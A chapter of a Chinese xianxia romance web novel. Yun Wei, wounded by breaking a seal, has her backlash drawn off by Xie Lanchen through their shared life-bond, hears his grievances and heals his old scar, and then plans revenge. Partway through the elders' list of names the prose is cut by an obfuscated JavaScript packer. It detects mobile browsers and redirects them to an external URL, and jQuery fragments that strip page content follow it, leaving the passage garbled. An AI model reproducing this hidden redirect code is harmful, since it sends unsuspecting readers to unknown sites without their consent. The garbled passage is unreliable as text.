谢澜忱见她咳血,脸色瞬间煞白,想也未想便将那株好不容易得来的双生莲随手掷于地上,一把扶住她摇摇欲坠的身形,声音里带着他自己都未察觉的惊惶与怒气:“云微!你……你非要这般逞强不可吗?强行破禁的反噬是儿戏吗?”


    云微借着他手臂的支撑才勉强站稳,咽下喉间翻涌的腥甜,气息微乱,却仍强自镇定道:“不过……气血翻腾罢了。调息片刻便无碍。”


    此番强行冲击禁制,经脉受损绝非轻易可愈,只是眼下情形容不得她示弱。


    “无碍?”谢澜忱几乎被她这轻描淡写的态度气得笑出来,手上力道却丝毫未松,反而将她扶得更紧,眸光沉得吓人,“你当我瞎了吗?方才若非你强行出手,我自有办法应对!谁要你多事……”他话音未落,心底却是一片后怕与懊恼,恨自己伤势拖累,竟要她冒险至此。


    不等少年说完,云微眼前骤然发黑,单膝不受控制地跪倒在地,一手撑地,剧烈地喘息起来,额间沁出细密冷汗。


    谢澜忱脸色难看至极,再也顾不得其他,立刻盘膝坐在她对面,沉声道:“凝神,别抵抗。”说罢,他双手迅速在胸前结出一个幽蓝色的法印,缓缓推向她心口。


    云微骤然抬头,他竟要利用同生契的深层联系,强行将大部分反噬引渡到他自身?


    此法虽能缓解她眼下危机,却对他自身损耗极大,尤其他腰腹重伤未愈,灵力本就不济……


    “不可以,你……”她急声道,手刚抬起欲阻拦,便被少年一把紧紧攥住手腕。


    谢澜忱抬起眼,脸色比方才更白了几分,额角渗出细密的冷汗,可那双钴蓝色的眼眸却亮得惊人,执拗地望着她。“现在知道阻止了?”他扯了扯嘴角,笑容有些苍白无力,带着点赌气的意味,“晚了……你总是这样……自作主张,一次又一次……这下,你可是欠我欠得更多了。”


    他握着她手腕的力道极大,一字一句,像是要将积压多年的东西尽数倒出:“七年前,你把我从狼妖口里捡回来,给了我希望,却又随手把我丢在外门那吃人的地方,让我受尽欺凌,刻上那屈辱的字眼……这是第一桩。”


    “后来,你利用我助你化形,逼我与你结下这同生契,将我的生死与你捆绑……这是第二桩。”


    “现在,你又为我强行破禁,弄得这般模样,逼得我不得不替你承担这反噬……你说,这是不是第三桩?”他盯着她的眼睛,目光沉沉,似怨似怒,又似藏着别的什么,“你告诉我,这笔账,该怎么算?你还要怎么还得清?”


    云微怔怔地看着他,一时竟忘了挣脱。


    他竟是这样算的。


    将那些好的、坏的、恩惠与亏欠,全都搅在一起,变成一笔纠缠不清的糊涂账。


    可他此刻引渡反噬的痛苦是真,苍白的脸色是真,眼底那执拗到近乎偏激的情绪也是真。


    少年心里到底都在想些什么?他恨她,却又一次次救她;他嘴上说着亏欠,行动却截然相反。


    云微想了想,缓缓开口:“当年将你安置在外门,是我思虑不周,我未曾料到其中人心险恶竟至于斯,致使你受苦,此事,是我之过。”她顿了顿,目光落在他胸口曾经刻字的位置,“至于那旧痕……我会为你除去,只要寻得合适灵药……”


    谢澜忱闻言怔了怔,攥着她手腕的力道不自觉地松了几分,眼底翻涌的情绪像是被这句话骤然打断,只剩下一种茫然的、不知所措的怔忡。


    他像是没料到她会如此直接地承认“过错”,更没料到她会注意到那个疤痕,甚至提出要为他除去。


    半晌,少年垂下眼睫,遮挡住眸中复杂情绪,另一只手却缓缓抬起,抓着云微的手,将她的指尖按在了自己胸口。


    云微指尖微微一颤。


    隔着衣料,她能清晰地感受到其下一道微微凸起的、粗糙的旧痕。


    这么多年,他明明早已得父亲看重,灵药剑诀从不短缺,以他的修为……若要彻底消除这道疤痕,并非难事。


    他却一直留着……是刻意留下提醒自己不忘昔日屈辱?还是……


    “除去?”谢澜忱低声重复了一遍,声音沙哑,“现在才来说这个……师姐不觉得太晚了吗?”他抬起眼,目光灼灼,似有万千情绪涌动,“那些年,我在外门日日被人践踏,身上痛,心里更痛。我总想着,或许明天,或许下一刻,你就会像当年救下我那样出现,哪怕只是来看我一眼,问我一句‘痛不痛’……可你没有,一次都没有。”


    他自嘲地笑了笑,又道:“你就不能……就不能多在意我一点吗?哪怕只有对旁人的一半,不,十分之一也好……别再总是推开我,无视我,让我觉得只有我一个人被困在过去的泥沼里,好不好?”


    云微听着他这番近乎剖白的话语,垂下眼帘。


    当年一个看似稳妥的决定,会在他心中刻下如此深的伤痕,积攒下如此重的怨与盼。


    自己过往真的过于专注剑道与宗门事务,而忽视了身边人的感受,尤其是他这个……因她而命运转折的少年。


    她感受着指尖下那道疤痕的触感,心中一时五味杂陈。


    对了……双生莲。


    此莲乃集天地灵气精华所生,确有净化瘴毒、平复旧痕的奇效。


    思及此,云微轻轻抽回手,在谢澜忱愕然的目光中重新拾起地上那株依旧莹润剔透的双生莲,小心地掰下一片莲花瓣。


    “可能会有些凉。”她低声道,随即指尖凝着一丝灵力,轻轻将那片花瓣按在了少年胸口的衣料之上,对应着那旧痕的位置。


    那片莲花瓣触及衣料,便化作一道柔和的白光,悄然渗入,融入皮肤之下。


    不到片刻,云微移开手。


    “好了。”


    谢澜忱身体微微一僵,下意识地抬手抚上胸口,触手一片平滑,那纠缠他多年的痕迹竟真的消失无踪了。


    他张了张嘴,似乎想说什么,喉结滚动了几下,眼底情绪翻腾,最终却什么也没说出来。


    就在这时,两人周身一阵空间波动,熟悉的老者声音在空中响起:“时辰到!”


    眼前景物瞬间模糊扭曲,下一刻,两人已并肩站在了归云宗广场之上,周围不断有灵光闪现,一个又一个弟子被传送出来,有人欣喜若狂,有人垂头丧气。


    王长老立于前方高台,目光扫过在场众人,开始宣读晋级名单。


    一连串名字念出,其中果然包括她与谢澜忱。


    最后,他念道:“……


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366778|175868||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宁兮河,张垣。”


    云微听到名字,抬眼望去,正看见宁兮河也被传送出来,虽神色略显疲惫,但眼神清亮坚毅。


    宁兮河似有所感,也朝她看来,冲她微微一笑,颔首致意。


    宁兮河心性坚韧,剑术不俗,若非当年遭父亲延误,成就绝不会止步于此。云微这般想道。


    同为女子,在这重重束缚之下挣扎求存、精进不休,其中心酸艰难,她最能体会。


    一旁的吴长老面色阴沉如水,死死盯着云微,心中怒意翻腾:这无名的命竟如此之硬!禁灵符箓偷袭不成,狼妖围攻亦失败,接连布置竟都让她躲过!此女不除,日后必成心腹大患!


    王长老宣布完名单,肃然道:“晋级者好生休息,调养恢复,准备后日的末轮‘问心路’。此路考验道心,直指本心执念,凶险异常,尔等务必谨慎对待,万不可心生轻忽。”


    众人齐声应诺:“是,长老!”


    云微转向身旁的谢澜忱,见他脸色依旧苍白,尤其是腰腹处衣袍上的血迹未干,便道:“你的伤需尽快处理,回去我帮你上药。”


    谢澜忱却盯着她,眼神里带着不容错辨的紧张与固执:“那你呢?你去何处?又要独自去寻赵常胜那厮算账?你如今这般状态,岂能再与人动手?”他想起禁域中她咳血的模样,心口便是一窒。


    云微迎上他的目光,语气平静:“有些债,迟早要讨。赵常胜用禁灵符箓暗算于我,还累得你重伤至此。此事,不能就此作罢。”


    此事我自有分寸,不会逞强。云微心道。


    少年眉头紧锁,语气愈发急躁:“分寸?你哪次不是嘴上说有分寸,结果却弄得一身伤回来?”


    “好了。我的事,我自己解决。你伤势未愈,当以休养为重。”


    她知道谢澜忱是在担心她,但自己向来不喜假手他人,尤其是清算旧怨。


    “你!”谢澜忱气结,苍白的脸上因怒气泛起一丝薄红,“你我性命相连,同生共契!你若是出事,难道我能独善其身吗?”


    这话脱口而出,带着几分赌气的意味,仿佛只是为了同生契才如此紧张。


    云微闻言,静静看了他片刻,直看得谢澜忱有些不自在地移开目光,才缓缓道:“我知道你担心同生契。放心,我自有考量,不会连累你。”


    解契之法她早从古籍中寻得蛛丝马迹,暗中推演,已大致明晰。


    先前秘而不宣,是因复仇大业未成,回归云宗、查清真相、手刃仇敌,处处需少年相助。


    她深知他性子偏执难测,若知晓有此退路,难保不会决绝抽身,那她所有的谋划便将付诸东流。


    可如今……她知道谢澜忱会毫不犹豫地,愿意与她站在一起。


    这条复仇路荆棘遍布,生死难料,她已决意独自走下去,若最终功败垂成,魂飞魄散便是她的归宿,又何必拖着他一同万劫不复?


    半晌,她回过神,见他仍气恼地盯着自己,语气不由放缓些许:“你的伤势耽搁不得,先回去疗伤要紧。”


    谢澜忱被她这话噎住,胸口起伏了几下,像是被堵得说不出话。他狠狠瞪了她一眼,最终像是败下阵来,咬牙低声道:“……随你!反正我说什么你都不会听……”